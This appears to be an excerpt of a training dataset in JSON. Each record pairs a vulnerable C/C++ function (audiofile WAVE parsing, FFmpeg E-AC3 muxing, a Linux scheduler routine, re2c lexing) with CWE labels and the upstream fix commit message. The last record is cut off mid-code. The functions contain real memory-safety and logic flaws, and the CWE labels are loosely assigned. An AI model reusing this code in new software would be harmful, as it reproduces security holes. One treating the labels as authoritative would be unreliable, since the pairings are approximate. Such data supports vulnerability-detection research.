+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: status WAVEFile::parseFormat(const Tag &id, uint32_t size)\n{\n\tTrack *track = getTrack();\n\n\tuint16_t formatTag;\n\treadU16(&formatTag);\n\tuint16_t channelCount;\n\treadU16(&channelCount);\n\tuint32_t sampleRate;\n\treadU32(&sampleRate);\n\tuint32_t averageBytesPerSecond;\n\treadU32(&averageBytesPerSecond);\n\tuint16_t blockAlign;\n\treadU16(&blockAlign);\n\n\tif (!channelCount)\n\t{\n\t\t_af_error(AF_BAD_CHANNELS, \"invalid file with 0 channels\");\n\t\treturn AF_FAIL;\n\t}\n\n\ttrack->f.channelCount = channelCount;\n\ttrack->f.sampleRate = sampleRate;\n\ttrack->f.byteOrder = AF_BYTEORDER_LITTLEENDIAN;\n\n\t/* Default to uncompressed audio data. */\n\ttrack->f.compressionType = AF_COMPRESSION_NONE;\n\ttrack->f.framesPerPacket = 1;\n\n\tswitch (formatTag)\n\t{\n\t\tcase WAVE_FORMAT_PCM:\n\t\t{\n\t\t\tuint16_t bitsPerSample;\n\t\t\treadU16(&bitsPerSample);\n\n\t\t\ttrack->f.sampleWidth = bitsPerSample;\n\n\t\t\tif (bitsPerSample == 0 || bitsPerSample > 32)\n\t\t\t{\n\t\t\t\t_af_error(AF_BAD_WIDTH,\n\t\t\t\t\t\"bad sample width of %d bits\",\n\t\t\t\t\tbitsPerSample);\n\t\t\t\treturn AF_FAIL;\n\t\t\t}\n\n\t\t\tif (bitsPerSample <= 8)\n\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_UNSIGNED;\n\t\t\telse\n\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_TWOSCOMP;\n\t\t}\n\t\tbreak;\n\n\t\tcase WAVE_FORMAT_MULAW:\n\t\tcase IBM_FORMAT_MULAW:\n\t\t\ttrack->f.sampleWidth = 16;\n\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_TWOSCOMP;\n\t\t\ttrack->f.byteOrder = _AF_BYTEORDER_NATIVE;\n\t\t\ttrack->f.compressionType = AF_COMPRESSION_G711_ULAW;\n\t\t\ttrack->f.bytesPerPacket = track->f.channelCount;\n\t\t\tbreak;\n\n\t\tcase WAVE_FORMAT_ALAW:\n\t\tcase IBM_FORMAT_ALAW:\n\t\t\ttrack->f.sampleWidth = 16;\n\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_TWOSCOMP;\n\t\t\ttrack->f.byteOrder = _AF_BYTEORDER_NATIVE;\n\t\t\ttrack->f.compressionType = AF_COMPRESSION_G711_ALAW;\n\t\t\ttrack->f.bytesPerPacket = track->f.channelCount;\n\t\t\tbreak;\n\n\t\tcase WAVE_FORMAT_IEEE_FLOAT:\n\t\t{\n\t\t\tuint16_t bitsPerSample;\n\t\t\treadU16(&bitsPerSample);\n\n\t\t\tif (bitsPerSample == 64)\n\t\t\t{\n\t\t\t\ttrack->f.sampleWidth = 64;\n\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_DOUBLE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttrack->f.sampleWidth = 32;\n\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_FLOAT;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\t\tcase WAVE_FORMAT_ADPCM:\n\t\t{\n\t\t\tuint16_t bitsPerSample, extraByteCount,\n\t\t\t\t\tsamplesPerBlock, numCoefficients;\n\n\t\t\tif (track->f.channelCount != 1 &&\n\t\t\t\ttrack->f.channelCount != 2)\n\t\t\t{\n\t\t\t\t_af_error(AF_BAD_CHANNELS,\n\t\t\t\t\t\"WAVE file with MS ADPCM compression \"\n\t\t\t\t\t\"must have 1 or 2 channels\");\n\t\t\t}\n\n\t\t\treadU16(&bitsPerSample);\n\t\t\treadU16(&extraByteCount);\n\t\t\treadU16(&samplesPerBlock);\n\t\t\treadU16(&numCoefficients);\n\n\t\t\t/* numCoefficients should be at least 7. */\n\t\t\tassert(numCoefficients >= 7 && numCoefficients <= 255);\n\n\t\t\tm_msadpcmNumCoefficients = numCoefficients;\n\n\t\t\tfor (int i=0; if.sampleWidth = 16;\n\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_TWOSCOMP;\n\t\t\ttrack->f.compressionType = AF_COMPRESSION_MS_ADPCM;\n\t\t\ttrack->f.byteOrder = _AF_BYTEORDER_NATIVE;\n\n\t\t\ttrack->f.framesPerPacket = samplesPerBlock;\n\t\t\ttrack->f.bytesPerPacket = blockAlign;\n\n\t\t\t// Create the parameter list.\n\t\t\tAUpvlist pv = AUpvnew(2);\n\t\t\tAUpvsetparam(pv, 0, _AF_MS_ADPCM_NUM_COEFFICIENTS);\n\t\t\tAUpvsetvaltype(pv, 0, AU_PVTYPE_LONG);\n\t\t\tlong l = m_msadpcmNumCoefficients;\n\t\t\tAUpvsetval(pv, 0, &l);\n\n\t\t\tAUpvsetparam(pv, 1, _AF_MS_ADPCM_COEFFICIENTS);\n\t\t\tAUpvsetvaltype(pv, 1, AU_PVTYPE_PTR);\n\t\t\tvoid *v = m_msadpcmCoefficients;\n\t\t\tAUpvsetval(pv, 1, &v);\n\n\t\t\ttrack->f.compressionParams = pv;\n\t\t}\n\t\tbreak;\n\n\t\tcase WAVE_FORMAT_DVI_ADPCM:\n\t\t{\n\t\t\tuint16_t bitsPerSample, extraByteCount, samplesPerBlock;\n\n\t\t\treadU16(&bitsPerSample);\n\t\t\treadU16(&extraByteCount);\n\t\t\treadU16(&samplesPerBlock);\n\n\t\t\tif (bitsPerSample != 4)\n\t\t\t{\n\t\t\t\t_af_error(AF_BAD_NOT_IMPLEMENTED,\n\t\t\t\t\t\"IMA ADPCM compression supports only 4 bits per sample\");\n\t\t\t}\n\n\t\t\tint bytesPerBlock = (samplesPerBlock + 14) / 8 * 4 * channelCount;\n\t\t\tif (bytesPerBlock > blockAlign || (samplesPerBlock % 8) != 1)\n\t\t\t{\n\t\t\t\t_af_error(AF_BAD_CODEC_CONFIG,\n\t\t\t\t\t\"Invalid samples per block for IMA ADPCM compression\");\n\t\t\t}\n\n\t\t\ttrack->f.sampleWidth = 16;\n\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_TWOSCOMP;\n\t\t\ttrack->f.compressionType = AF_COMPRESSION_IMA;\n\t\t\ttrack->f.byteOrder = _AF_BYTEORDER_NATIVE;\n\n\t\t\tinitIMACompressionParams();\n\n\t\t\ttrack->f.framesPerPacket = samplesPerBlock;\n\t\t\ttrack->f.bytesPerPacket = blockAlign;\n\t\t}\n\t\tbreak;\n\n\t\tcase WAVE_FORMAT_EXTENSIBLE:\n\t\t{\n\t\t\tuint16_t bitsPerSample;\n\t\t\treadU16(&bitsPerSample);\n\t\t\tuint16_t extraByteCount;\n\t\t\treadU16(&extraByteCount);\n\t\t\tuint16_t reserved;\n\t\t\treadU16(&reserved);\n\t\t\tuint32_t channelMask;\n\t\t\treadU32(&channelMask);\n\t\t\tUUID subformat;\n\t\t\treadUUID(&subformat);\n\t\t\tif (subformat == _af_wave_guid_pcm)\n\t\t\t{\n\t\t\t\ttrack->f.sampleWidth = bitsPerSample;\n\n\t\t\t\tif (bitsPerSample == 0 || bitsPerSample > 32)\n\t\t\t\t{\n\t\t\t\t\t_af_error(AF_BAD_WIDTH,\n\t\t\t\t\t\t\"bad sample width of %d bits\",\n\t\t\t\t\t\tbitsPerSample);\n\t\t\t\t\treturn AF_FAIL;\n\t\t\t\t}\n\n\t\t\t\t// Use valid bits per sample if bytes per sample is the same.\n\t\t\t\tif (reserved <= bitsPerSample &&\n\t\t\t\t\t(reserved + 7) / 8 == (bitsPerSample + 7) / 8)\n\t\t\t\t\ttrack->f.sampleWidth = reserved;\n\n\t\t\t\tif (bitsPerSample <= 8)\n\t\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_UNSIGNED;\n\t\t\t\telse\n\t\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_TWOSCOMP;\n\t\t\t}\n\t\t\telse if (subformat == _af_wave_guid_ieee_float)\n\t\t\t{\n\t\t\t\tif (bitsPerSample == 64)\n\t\t\t\t{\n\t\t\t\t\ttrack->f.sampleWidth = 64;\n\t\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_DOUBLE;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ttrack->f.sampleWidth = 32;\n\t\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_FLOAT;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (subformat == _af_wave_guid_alaw ||\n\t\t\t\tsubformat == _af_wave_guid_ulaw)\n\t\t\t{\n\t\t\t\ttrack->f.compressionType = subformat == _af_wave_guid_alaw ?\n\t\t\t\t\tAF_COMPRESSION_G711_ALAW : AF_COMPRESSION_G711_ULAW;\n\t\t\t\ttrack->f.sampleWidth = 16;\n\t\t\t\ttrack->f.sampleFormat = AF_SAMPFMT_TWOSCOMP;\n\t\t\t\ttrack->f.byteOrder = _AF_BYTEORDER_NATIVE;\n\t\t\t\ttrack->f.bytesPerPacket = channelCount;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t_af_error(AF_BAD_NOT_IMPLEMENTED, \"WAVE extensible data format %s is not currently supported\", subformat.name().c_str());\n\t\t\t\treturn AF_FAIL;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\n\t\tcase WAVE_FORMAT_YAMAHA_ADPCM:\n\t\tcase WAVE_FORMAT_OKI_ADPCM:\n\t\tcase WAVE_FORMAT_CREATIVE_ADPCM:\n\t\tcase IBM_FORMAT_ADPCM:\n\t\t\t_af_error(AF_BAD_NOT_IMPLEMENTED, \"WAVE ADPCM data format 0x%x is not currently supported\", formatTag);\n\t\t\treturn AF_FAIL;\n\t\t\tbreak;\n\n\t\tcase WAVE_FORMAT_MPEG:\n\t\t\t_af_error(AF_BAD_NOT_IMPLEMENTED, \"WAVE MPEG data format is not supported\");\n\t\t\treturn AF_FAIL;\n\t\t\tbreak;\n\n\t\tcase WAVE_FORMAT_MPEGLAYER3:\n\t\t\t_af_error(AF_BAD_NOT_IMPLEMENTED, \"WAVE MPEG layer 3 data format is not supported\");\n\t\t\treturn AF_FAIL;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\t_af_error(AF_BAD_NOT_IMPLEMENTED, \"WAVE file data format 0x%x not currently supported != 0xfffe ? %d, != EXTENSIBLE? %d\", formatTag, formatTag != 0xfffe, formatTag != WAVE_FORMAT_EXTENSIBLE);\n\t\t\treturn AF_FAIL;\n\t\t\tbreak;\n\t}\n\n\tif (track->f.isUncompressed())\n\t\ttrack->f.computeBytesPerPacketPCM();\n\n\t_af_set_sample_format(&track->f, track->f.sampleFormat, track->f.sampleWidth);\n\n\treturn AF_SUCCEED;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-284'], 'message': 'Actually fail when error occurs in parseFormat\n\nWhen there's an unsupported number of bits per sample or an invalid\nnumber of samples per block, don't only print an error message using\nthe error handler, but actually stop parsing the file.\n\nThis fixes #35 (also reported at\nhttps://bugzilla.opensuse.org/show_bug.cgi?id=1026983 and\nhttps://blogs.gentoo.org/ago/2017/02/20/audiofile-heap-based-buffer-overflow-in-imadecodeblockwave-ima-cpp/\n)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int handle_eac3(MOVMuxContext *mov, AVPacket *pkt, MOVTrack *track)\n{\n    AC3HeaderInfo *hdr = NULL;\n    struct eac3_info *info;\n    int num_blocks, ret;\n\n    if (!track->eac3_priv && !(track->eac3_priv = av_mallocz(sizeof(*info))))\n        return AVERROR(ENOMEM);\n    info = track->eac3_priv;\n\n    if (avpriv_ac3_parse_header(&hdr, pkt->data, pkt->size) < 0) {\n        /* drop the packets until we see a good one */\n        if (!track->entry) {\n            av_log(mov, AV_LOG_WARNING, \"Dropping invalid packet from start of the stream\\n\");\n            ret = 0;\n        } else\n            ret = AVERROR_INVALIDDATA;\n        goto end;\n    }\n\n    info->data_rate = FFMAX(info->data_rate, hdr->bit_rate / 1000);\n    num_blocks = hdr->num_blocks;\n\n    if (!info->ec3_done) {\n        /* AC-3 substream must be the first one */\n        if (hdr->bitstream_id <= 10 && hdr->substreamid != 0) {\n            ret = AVERROR(EINVAL);\n            goto end;\n        }\n\n        /* this should always be the case, given that our AC-3 parser\n         * concatenates dependent frames to their independent parent */\n        if (hdr->frame_type == EAC3_FRAME_TYPE_INDEPENDENT) {\n            /* substream ids must be incremental */\n            if (hdr->substreamid > info->num_ind_sub + 1) {\n                ret = AVERROR(EINVAL);\n                goto end;\n            }\n\n            if (hdr->substreamid == info->num_ind_sub + 1) {\n                //info->num_ind_sub++;\n                avpriv_request_sample(track->par, \"Multiple independent substreams\");\n                ret = AVERROR_PATCHWELCOME;\n                goto end;\n            } else if (hdr->substreamid < info->num_ind_sub ||\n                       hdr->substreamid == 0 && info->substream[0].bsid) {\n                info->ec3_done = 1;\n                goto concatenate;\n            }\n        } else {\n            if (hdr->substreamid != 0) {\n                avpriv_request_sample(mov->fc, \"Multiple non EAC3 independent substreams\");\n                ret = AVERROR_PATCHWELCOME;\n                goto end;\n            }\n        }\n\n        /* fill the info needed for the \"dec3\" atom */\n        info->substream[hdr->substreamid].fscod = hdr->sr_code;\n        info->substream[hdr->substreamid].bsid  = hdr->bitstream_id;\n        info->substream[hdr->substreamid].bsmod = hdr->bitstream_mode;\n        info->substream[hdr->substreamid].acmod = hdr->channel_mode;\n        info->substream[hdr->substreamid].lfeon = hdr->lfe_on;\n\n        /* Parse dependent substream(s), if any */\n        if (pkt->size != hdr->frame_size) {\n            int cumul_size = hdr->frame_size;\n            int parent = hdr->substreamid;\n\n            while (cumul_size != pkt->size) {\n                GetBitContext gbc;\n                int i;\n                ret = avpriv_ac3_parse_header(&hdr, pkt->data + cumul_size, pkt->size - cumul_size);\n                if (ret < 0)\n                    goto end;\n                if (hdr->frame_type != EAC3_FRAME_TYPE_DEPENDENT) {\n                    ret = AVERROR(EINVAL);\n                    goto end;\n                }\n                info->substream[parent].num_dep_sub++;\n                ret /= 8;\n\n                /* header is parsed up to lfeon, but custom channel map may be needed */\n                init_get_bits8(&gbc, pkt->data + cumul_size + ret, pkt->size - cumul_size - ret);\n                /* skip bsid */\n                skip_bits(&gbc, 5);\n                /* skip volume control params */\n                for (i = 0; i < (hdr->channel_mode ? 1 : 2); i++) {\n                    skip_bits(&gbc, 5); // skip dialog normalization\n                    if (get_bits1(&gbc)) {\n                        skip_bits(&gbc, 8); // skip compression gain word\n                    }\n                }\n                /* get the dependent stream channel map, if exists */\n                if (get_bits1(&gbc))\n                    info->substream[parent].chan_loc |= (get_bits(&gbc, 16) >> 5) & 0x1f;\n                else\n                    info->substream[parent].chan_loc |= hdr->channel_mode;\n                cumul_size += hdr->frame_size;\n            }\n        }\n    }\n\nconcatenate:\n    if (!info->num_blocks && num_blocks == 6) {\n        ret = pkt->size;\n        goto end;\n    }\n    else if (info->num_blocks + num_blocks > 6) {\n        ret = AVERROR_INVALIDDATA;\n        goto end;\n    }\n\n    if (!info->num_blocks) {\n        ret = av_packet_ref(&info->pkt, pkt);\n        if (!ret)\n            info->num_blocks = num_blocks;\n        goto end;\n    } else {\n        if ((ret = av_grow_packet(&info->pkt, pkt->size)) < 0)\n            goto end;\n        memcpy(info->pkt.data + info->pkt.size - pkt->size, pkt->data, pkt->size);\n        info->num_blocks += num_blocks;\n        info->pkt.duration += pkt->duration;\n        if ((ret = av_copy_packet_side_data(&info->pkt, pkt)) < 0)\n            goto end;\n        if (info->num_blocks != 6)\n            goto end;\n        av_packet_unref(pkt);\n        av_packet_move_ref(pkt, &info->pkt);\n        info->num_blocks = 0;\n    }\n    ret = pkt->size;\n\nend:\n    av_free(hdr);\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'avformat/movenc: Do not pass AVCodecParameters in avpriv_request_sample\n\nFixes: out of array read\nFixes: ffmpeg_crash_8.avi\n\nFound-by: Thuan Pham, Marcel B\u00f6hme, Andrew Santosa and Alexandru Razvan Caciulescu with AFLSmart\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: asmlinkage void __sched schedule(void)\n{\n\tstruct task_struct *prev, *next;\n\tunsigned long *switch_count;\n\tstruct rq *rq;\n\tint cpu;\n\nneed_resched:\n\tpreempt_disable();\n\tcpu = smp_processor_id();\n\trq = cpu_rq(cpu);\n\trcu_note_context_switch(cpu);\n\tprev = rq->curr;\n\n\trelease_kernel_lock(prev);\nneed_resched_nonpreemptible:\n\n\tschedule_debug(prev);\n\n\tif (sched_feat(HRTICK))\n\t\thrtick_clear(rq);\n\n\traw_spin_lock_irq(&rq->lock);\n\tclear_tsk_need_resched(prev);\n\n\tswitch_count = &prev->nivcsw;\n\tif (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) {\n\t\tif (unlikely(signal_pending_state(prev->state, prev))) {\n\t\t\tprev->state = TASK_RUNNING;\n\t\t} else {\n\t\t\t/*\n\t\t\t * If a worker is going to sleep, notify and\n\t\t\t * ask workqueue whether it wants to wake up a\n\t\t\t * task to maintain concurrency.  If so, wake\n\t\t\t * up the task.\n\t\t\t */\n\t\t\tif (prev->flags & PF_WQ_WORKER) {\n\t\t\t\tstruct task_struct *to_wakeup;\n\n\t\t\t\tto_wakeup = wq_worker_sleeping(prev, cpu);\n\t\t\t\tif (to_wakeup)\n\t\t\t\t\ttry_to_wake_up_local(to_wakeup);\n\t\t\t}\n\t\t\tdeactivate_task(rq, prev, DEQUEUE_SLEEP);\n\t\t}\n\t\tswitch_count = &prev->nvcsw;\n\t}\n\n\tpre_schedule(rq, prev);\n\n\tif (unlikely(!rq->nr_running))\n\t\tidle_balance(cpu, rq);\n\n\tput_prev_task(rq, prev);\n\tnext = pick_next_task(rq);\n\n\tif (likely(prev != next)) {\n\t\tsched_info_switch(prev, next);\n\t\tperf_event_task_sched_out(prev, next);\n\n\t\trq->nr_switches++;\n\t\trq->curr = next;\n\t\t++*switch_count;\n\n\t\tcontext_switch(rq, prev, next); /* unlocks the rq */\n\t\t/*\n\t\t * The context switch have flipped the stack from under us\n\t\t * and restored the local variables which were saved when\n\t\t * this task called schedule() in the past. prev == current\n\t\t * is still correct, but it can be moved to another cpu/rq.\n\t\t */\n\t\tcpu = smp_processor_id();\n\t\trq = cpu_rq(cpu);\n\t} else\n\t\traw_spin_unlock_irq(&rq->lock);\n\n\tpost_schedule(rq);\n\n\tif (unlikely(reacquire_kernel_lock(prev)))\n\t\tgoto need_resched_nonpreemptible;\n\n\tpreempt_enable_no_resched();\n\tif (need_resched())\n\t\tgoto need_resched;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-835'], 'message': 'Sched: fix skip_clock_update optimization\n\nidle_balance() drops/retakes rq->lock, leaving the previous task\nvulnerable to set_tsk_need_resched().  Clear it after we return\nfrom balancing instead, and in setup_thread_stack() as well, so\nno successfully descheduled or never scheduled task has it set.\n\nNeed resched confused the skip_clock_update logic, which assumes\nthat the next call to update_rq_clock() will come nearly immediately\nafter being set.  Make the optimization robust against the waking\na sleeper before it sucessfully deschedules case by checking that\nthe current task has not been dequeued before setting the flag,\nsince it is that useless clock update we're trying to save, and\nclear unconditionally in schedule() proper instead of conditionally\nin put_prev_task().\n\nSigned-off-by: Mike Galbraith \nReported-by: Bjoern B. Brandenburg \nTested-by: Yong Zhang \nSigned-off-by: Peter Zijlstra \nCc: stable@kernel.org\nLKML-Reference: <1291802742.1417.9.camel@marge.simson.net>\nSigned-off-by: Ingo Molnar '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: InputBlockKind Scanner::echo(Output &out, std::string &block_name)\n{\n    const opt_t *opts = out.block().opts;\n    code_alc_t &alc = out.allocator;\n    const char *x, *y;\n\n    if (is_eof()) return INPUT_END;\n\nnext:\n    tok = cur;\nloop:\n    location = cur_loc();\n    ptr = cur;\n\n#line 55 \"src/parse/lex.cc\"\n{\n\tunsigned char yych;\n\tunsigned int yyaccept = 0;\n\tstatic const unsigned char yybm[] = {\n\t\t  0, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 160,   0, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t160, 128,   0, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t192, 192, 192, 192, 192, 192, 192, 192, \n\t\t192, 192, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128,   0, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t\t128, 128, 128, 128, 128, 128, 128, 128, \n\t};\n\tif ((lim - cur) < 18) { if (!fill(18)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= '\\r') {\n\t\tif (yych <= '\\t') {\n\t\t\tif (yych <= 0x00) goto yy2;\n\t\t\tif (yych <= 0x08) goto yy4;\n\t\t\tgoto yy6;\n\t\t} else {\n\t\t\tif (yych <= '\\n') goto yy7;\n\t\t\tif (yych <= '\\f') goto yy4;\n\t\t\tgoto yy9;\n\t\t}\n\t} else {\n\t\tif (yych <= '$') {\n\t\t\tif (yych == ' ') goto yy6;\n\t\t\tgoto yy4;\n\t\t} else {\n\t\t\tif (yych <= '%') goto yy10;\n\t\t\tif (yych == '/') goto yy11;\n\t\t\tgoto yy4;\n\t\t}\n\t}\nyy2:\n\t++cur;\n#line 273 \"../src/parse/lex.re\"\n\t{\n        if (is_eof()) {\n            out.wraw(tok, ptr);\n            return INPUT_END;\n        }\n        goto loop;\n    }\n#line 125 \"src/parse/lex.cc\"\nyy4:\n\t++cur;\nyy5:\n#line 293 \"../src/parse/lex.re\"\n\t{ goto loop; }\n#line 131 \"src/parse/lex.cc\"\nyy6:\n\tyyaccept = 0;\n\tyych = (unsigned char)*(mar = ++cur);\n\tif (yybm[0+yych] & 32) {\n\t\tgoto yy12;\n\t}\n\tif (yych == '%') goto yy15;\n\tgoto yy5;\nyy7:\n\tyyaccept = 1;\n\tyych = (unsigned char)*(mar = ++cur);\n\tif (yych <= 0x1F) {\n\t\tif (yych == '\\t') goto yy16;\n\t} else {\n\t\tif (yych <= ' ') goto yy16;\n\t\tif (yych == '#') goto yy18;\n\t}\nyy8:\n#line 288 \"../src/parse/lex.re\"\n\t{\n        next_line();\n        goto loop;\n    }\n#line 155 \"src/parse/lex.cc\"\nyy9:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '\\n') goto yy7;\n\tgoto yy5;\nyy10:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '{') goto yy20;\n\tgoto yy5;\nyy11:\n\tyyaccept = 0;\n\tyych = (unsigned char)*(mar = ++cur);\n\tif (yych == '*') goto yy22;\n\tgoto yy5;\nyy12:\n\t++cur;\n\tif ((lim - cur) < 2) { if (!fill(2)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yybm[0+yych] & 32) {\n\t\tgoto yy12;\n\t}\n\tif (yych == '%') goto yy15;\nyy14:\n\tcur = mar;\n\tif (yyaccept <= 2) {\n\t\tif (yyaccept <= 1) {\n\t\t\tif (yyaccept == 0) {\n\t\t\t\tgoto yy5;\n\t\t\t} else {\n\t\t\t\tgoto yy8;\n\t\t\t}\n\t\t} else {\n\t\t\tgoto yy173;\n\t\t}\n\t} else {\n\t\tif (yyaccept == 3) {\n\t\t\tgoto yy175;\n\t\t} else {\n\t\t\tgoto yy184;\n\t\t}\n\t}\nyy15:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '{') goto yy20;\n\tgoto yy14;\nyy16:\n\t++cur;\n\tif (lim <= cur) { if (!fill(1)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= 0x1F) {\n\t\tif (yych == '\\t') goto yy16;\n\t\tgoto yy14;\n\t} else {\n\t\tif (yych <= ' ') goto yy16;\n\t\tif (yych != '#') goto yy14;\n\t}\nyy18:\n\t++cur;\n\tif ((lim - cur) < 5) { if (!fill(5)) { error(\"unexpected end of input\"); exit(1); } }\n\tyych = (unsigned char)*cur;\n\tif (yych <= 0x1F) {\n\t\tif (yych == '\\t') goto yy18;\n\t\tgoto yy14;\n\t} else {\n\t\tif (yych <= ' ') goto yy18;\n\t\tif (yych == 'l') goto yy23;\n\t\tgoto yy14;\n\t}\nyy20:\n\t++cur;\n#line 139 \"../src/parse/lex.re\"\n\t{\n        if (pos != ptr) {\n            // re2c does not parse user-defined code outside of re2c blocks, therefore it\n            // can confuse `%{` in the middle of a string or a comment with a block start.\n            // To avoid this recognize `%{` as a block start only on a new line, possibly\n            // preceded by whitespaces.\n            goto loop;\n        }\n        out.wraw(tok, ptr);\n        block_name.clear();\n        return INPUT_GLOBAL;\n    }\n#line 238 \"src/parse/lex.cc\"\nyy22:\n\tyych = (unsigned char)*++cur;\n\tif (yych == '!') goto yy24;\n\tgoto yy14;\nyy23:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'i') goto yy25;\n\tgoto yy14;\nyy24:\n\tyych = (unsigned char)*++cur;\n\tswitch (yych) {\n\tcase 'c':\tgoto yy26;\n\tcase 'g':\tgoto yy27;\n\tcase 'h':\tgoto yy28;\n\tcase 'i':\tgoto yy29;\n\tcase 'l':\tgoto yy30;\n\tcase 'm':\tgoto yy31;\n\tcase 'r':\tgoto yy32;\n\tcase 's':\tgoto yy33;\n\tcase 't':\tgoto yy34;\n\tcase 'u':\tgoto yy35;\n\tdefault:\tgoto yy14;\n\t}\nyy25:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'n') goto yy36;\n\tgoto yy14;\nyy26:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'o') goto yy37;\n\tgoto yy14;\nyy27:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy38;\n\tgoto yy14;\nyy28:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy39;\n\tgoto yy14;\nyy29:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'g') goto yy40;\n\tif (yych == 'n') goto yy41;\n\tgoto yy14;\nyy30:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'o') goto yy42;\n\tgoto yy14;\nyy31:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'a') goto yy43;\n\tif (yych == 't') goto yy44;\n\tgoto yy14;\nyy32:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy45;\n\tif (yych == 'u') goto yy46;\n\tgoto yy14;\nyy33:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 't') goto yy47;\n\tgoto yy14;\nyy34:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'y') goto yy48;\n\tgoto yy14;\nyy35:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 's') goto yy49;\n\tgoto yy14;\nyy36:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'e') goto yy50;\n\tgoto yy14;\nyy37:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'n') goto yy51;\n\tgoto yy14;\nyy38:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 't') goto yy52;\n\tgoto yy14;\nyy39:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'a') goto yy53;\n\tgoto yy14;\nyy40:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'n') goto yy54;\n\tgoto yy14;\nyy41:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy55;\n\tgoto yy14;\nyy42:\n\tyych = (unsigned char)*++cur;\n\tif (yych == 'c') goto yy56;\n\tgoto yy14;\nyy43:\n\tyych = (unsigned 